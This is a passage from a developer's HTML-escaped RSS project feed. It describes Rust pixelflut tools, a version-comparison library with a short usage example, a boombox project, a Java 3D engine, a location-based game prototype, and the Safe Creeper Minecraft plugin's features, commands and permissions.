&lt;p&gt;Blazingly fast GPU accelerated pixelflut server written in Rust.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;pixelpwnr-server&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;pixelpwnr-server&#x2F;#features&quot;&gt;Features&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;pixelpwnr-server&#x2F;#installation&quot;&gt;Installation&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;View more on the project pages over at:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;pixelpwnr-server&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;pixelpwnr-server&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;Also see these related projects:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;projects&#x2F;pixelpwnr&#x2F;&quot;&gt;&lt;code&gt;pixelpwnr&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; &lt;span class=&quot;muted&quot;&gt;(pixelflut client)&lt;&#x2F;span&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>pixelpwnr</title>
                <pubDate>Fri, 29 Dec 2017 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/pixelpwnr/</link>
                <guid>https://timvisee.com/projects/pixelpwnr/</guid>
                <description>&lt;blockquote&gt;
&lt;p&gt;Insanely fast pixelflut client for images and animations written in Rust.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;pixelpwnr&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;pixelpwnr&#x2F;#features&quot;&gt;Features&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;pixelpwnr&#x2F;#usage&quot;&gt;Usage&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;pixelpwnr&#x2F;#installation&quot;&gt;Installation&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;View more on the project pages over at:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;pixelpwnr&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;pixelpwnr&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;Also see these related projects:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;projects&#x2F;pixelpwnr-server&#x2F;&quot;&gt;&lt;code&gt;pixelpwnr-server&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; &lt;span class=&quot;muted&quot;&gt;(pixelflut server)&lt;&#x2F;span&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>Pokoebox</title>
                <pubDate>Tue, 14 Mar 2017 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/pokoebox/</link>
                <guid>https://timvisee.com/projects/pokoebox/</guid>
                <description>&lt;p&gt;A smart portable boombox project featuring a built-in touch screen with custom
media center.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;pokoebox&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;View more on the project pages over at:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;pokoebox&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;pokoebox&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>version-compare</title>
                <pubDate>Mon, 13 Mar 2017 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/version-compare/</link>
                <guid>https://timvisee.com/projects/version-compare/</guid>
                <description>&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;crates.io&#x2F;crates&#x2F;version-compare&quot;&gt;&lt;img src=&quot;https:&#x2F;&#x2F;img.shields.io&#x2F;crates&#x2F;d&#x2F;version-compare.svg&quot; alt=&quot;Download statistics&quot; &#x2F;&gt;&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;crates.io&#x2F;crates&#x2F;version-compare&quot;&gt;&lt;img src=&quot;https:&#x2F;&#x2F;img.shields.io&#x2F;crates&#x2F;v&#x2F;version-compare.svg&quot; alt=&quot;Crate version&quot; &#x2F;&gt;&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;version-compare&quot;&gt;&lt;img src=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;version-compare&#x2F;badge.svg&quot; alt=&quot;Documentation&quot; &#x2F;&gt;&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;version-compare&#x2F;pipelines&quot;&gt;&lt;img src=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;version-compare&#x2F;badges&#x2F;master&#x2F;pipeline.svg&quot; alt=&quot;Build status on GitLab CI&quot; &#x2F;&gt;&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;crates.io&#x2F;crates&#x2F;version-compare&quot;&gt;&lt;img src=&quot;https:&#x2F;&#x2F;img.shields.io&#x2F;crates&#x2F;l&#x2F;version-compare.svg&quot; alt=&quot;License&quot; &#x2F;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rust library to easily compare version numbers with no specific format, and
test against various comparison operators.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;version-compare&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Comparing version numbers is hard, especially with weird version number formats.&lt;&#x2F;p&gt;
&lt;p&gt;This library helps you to easily compare any kind of version number with no
specific format using a best-effort approach.
Two version numbers can be compared to each other to get a comparison operator
(&lt;code&gt;&amp;lt;&lt;&#x2F;code&gt;, &lt;code&gt;==&lt;&#x2F;code&gt;, &lt;code&gt;&amp;gt;&lt;&#x2F;code&gt;), or test them against a comparison operator.&lt;&#x2F;p&gt;
&lt;p&gt;Along with version comparison, the library provides various other tools for
working with version numbers.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;use &lt;&#x2F;span&gt;&lt;span&gt;version_compare::{compare, Cmp};
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;1.3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; b &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;1.2.4&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;match &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;compare&lt;&#x2F;span&gt;&lt;span&gt;(a, b) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Ok&lt;&#x2F;span&gt;&lt;span&gt;(Cmp::Lt) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;println!(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Version a is less than b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;),
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Ok&lt;&#x2F;span&gt;&lt;span&gt;(Cmp::Eq) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;println!(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Version a is equal to b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;),
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Ok&lt;&#x2F;span&gt;&lt;span&gt;(Cmp::Gt) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;println!(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Version a is greater than b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;),
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;_ =&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;panic!(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Invalid version number&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;),
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;version-compare&#x2F;#features&quot;&gt;Features&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;version-compare&#x2F;#example&quot;&gt;Examples&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;View more on the project pages over at:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;version-compare&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;version-compare&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>Dworek</title>
                <pubDate>Sun, 31 Jul 2016 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/dworek/</link>
                <guid>https://timvisee.com/projects/dworek/</guid>
                <description>&lt;p&gt;&lt;em&gt;This project is a prototype.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Create virtual drug labs in real-world locations with your cartel. Conquer labs
owned by other cartels to become the drug production MVP.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;dworek&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;View more on the project pages over at:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;dworek&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;dworek&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>VoxelTex Engine</title>
                <pubDate>Mon, 14 Mar 2016 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/voxeltex-engine/</link>
                <guid>https://timvisee.com/projects/voxeltex-engine/</guid>
                <description>&lt;p&gt;A 3D engine from scratch using OpenGL in Java.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;voxeltex-engine&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;View more on the project pages over at:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;voxeltex-engine&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;voxeltex-engine&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>Safe Creeper</title>
                <pubDate>Tue, 12 Nov 2013 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/bukkit/safe-creeper/</link>
                <guid>https://timvisee.com/projects/bukkit/safe-creeper/</guid>
                <description>&lt;p&gt;&lt;em&gt;Source code: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;safe-creeper&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;br &#x2F;&gt;
&lt;em&gt;Current version: v1.5.2.5&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Note: this project is discontinued, and will likely no longer receive support
or updates.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;With Safe Creeper you can control creeper explosions and other things like,
fireballs, TNT, Enderman and some other things, you can set if a creeper
explosions damage the world. That means that the players got damage but that the
world is still ok. You can also set a lot of other things, if players can place
TNT blocks, if creepers will explode above the surface and underneath not, set
if enderman can place and break blocks, even if they can clone blocks, explosion
sounds, smoke effects and a lot of more things. The plugins is fully
configurable and have multi world support.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;video&quot;&gt;Video&lt;&#x2F;h2&gt;
&lt;div &gt;
    &lt;iframe src=&quot;https:&#x2F;&#x2F;www.youtube-nocookie.com&#x2F;embed&#x2F;hSBKoMWkMTc&quot; webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;&#x2F;iframe&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;features&quot;&gt;Features&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Set if creepers damage the world, also fireballs, TNT and other things&lt;&#x2F;li&gt;
&lt;li&gt;Get full control of the Wither and EnderDragon bosses!&lt;&#x2F;li&gt;
&lt;li&gt;Enderman support, set if enderman can place and break blocks, also set if they
can clone blocks (get blocks but don&#x27;t remove them from the world)&lt;&#x2F;li&gt;
&lt;li&gt;Multi World support&lt;&#x2F;li&gt;
&lt;li&gt;Start the plugin before loading the world, to ceep everything safe while
generating the world and adding the mobs on it&lt;&#x2F;li&gt;
&lt;li&gt;Optional function that your settings are only avable between two levels, for
example, if you want, a creeper can explode only underneeth a level
(y coordinate) and above a level.&lt;&#x2F;li&gt;
&lt;li&gt;Explosion sounds, enable or disable explosion sounds&lt;&#x2F;li&gt;
&lt;li&gt;Explosion smoke effect&lt;&#x2F;li&gt;
&lt;li&gt;Set if players can place a TNT block&lt;&#x2F;li&gt;
&lt;li&gt;Set if creepers will be powerd when they hit by lightning&lt;&#x2F;li&gt;
&lt;li&gt;And a lot more...&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;download&quot;&gt;Download&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;download&#x2F;190&quot;&gt;Safe Creeper v1.5.2.5&lt;&#x2F;a&gt; &lt;em&gt;(dev.bukkit.org, direct link)&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;download&#x2F;191&quot;&gt;Safe Creeper v1.5.2.5&lt;&#x2F;a&gt; &lt;em&gt;(dropbox.com, direct link)&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;download&#x2F;192&quot;&gt;Safe Creeper v1.5.2.5&lt;&#x2F;a&gt; &lt;em&gt;(mediafire.com, direct link)&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;projects&#x2F;bukkit&#x2F;safe-creeper&#x2F;downloads&quot;&gt;Older downloads&lt;&#x2F;a&gt; &lt;em&gt;(on old website)&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;installation&quot;&gt;Installation&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;Download the plugin&lt;&#x2F;li&gt;
&lt;li&gt;Add the &lt;code&gt;SafeCreeper.jar&lt;&#x2F;code&gt; file and the folder &lt;code&gt;Safe Creeper&lt;&#x2F;code&gt; from the
downloaded &lt;code&gt;.zip&lt;&#x2F;code&gt; file to the &lt;code&gt;&#x2F;plugin&lt;&#x2F;code&gt; folder of the Minecraft server. Also
add the files inside the Safe Creeper folder into the folder
&lt;code&gt;plugins&#x2F;Safe Creeper&lt;&#x2F;code&gt;, this is optional.&lt;&#x2F;li&gt;
&lt;li&gt;Set some standaard settings if you want&lt;&#x2F;li&gt;
&lt;li&gt;Start your server and enjoy the plugin :)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;commands&quot;&gt;Commands&lt;&#x2F;h2&gt;
&lt;p&gt;Safe Creeper commands can be invoked by typing &lt;code&gt;&#x2F;safecreeper&lt;&#x2F;code&gt; or &lt;code&gt;&#x2F;sc&lt;&#x2F;code&gt; in the
in-game chat, or in the server console.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Command&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Action&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;safecreeper &amp;lt;help&#x2F;h&#x2F;?&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Help command&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;safecreeper help &amp;lt;config&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;View config help&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;safecreeper reload&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Reload the config files&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;safecreeper reloadperms&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Reinitialize the permissions systems&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;safecreeper poststatistics&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Get the current plugin version&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;safecreeper &amp;lt;checkupdates&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Get the current plugin version&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;safecreeper &amp;lt;version&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Get the current plugin version&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;permissions&quot;&gt;Permissions&lt;&#x2F;h2&gt;
&lt;p&gt;Safe Creeper supports permissions all major permissions systems.  Bellow you
could find all the permission nodes. If you don&#x27;t have an permissions system
installed, all the commands are only permitted to OP&#x27;s.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Permission node&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Action&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;safecreeper.command.reload&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Permission for &#x2F;sc reload&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;safecreeper.command.reloadperms&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Permission for &#x2F;sc reloadperms&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;safecreeper.command.config.get&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Config commands to get values from the config files&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;safecreeper.command.config.set&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Config commands to set values from the config files&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;safecreeper.command.poststatistics&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Update checker command&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;safecreeper.command.checkupdates&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Update checker command&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
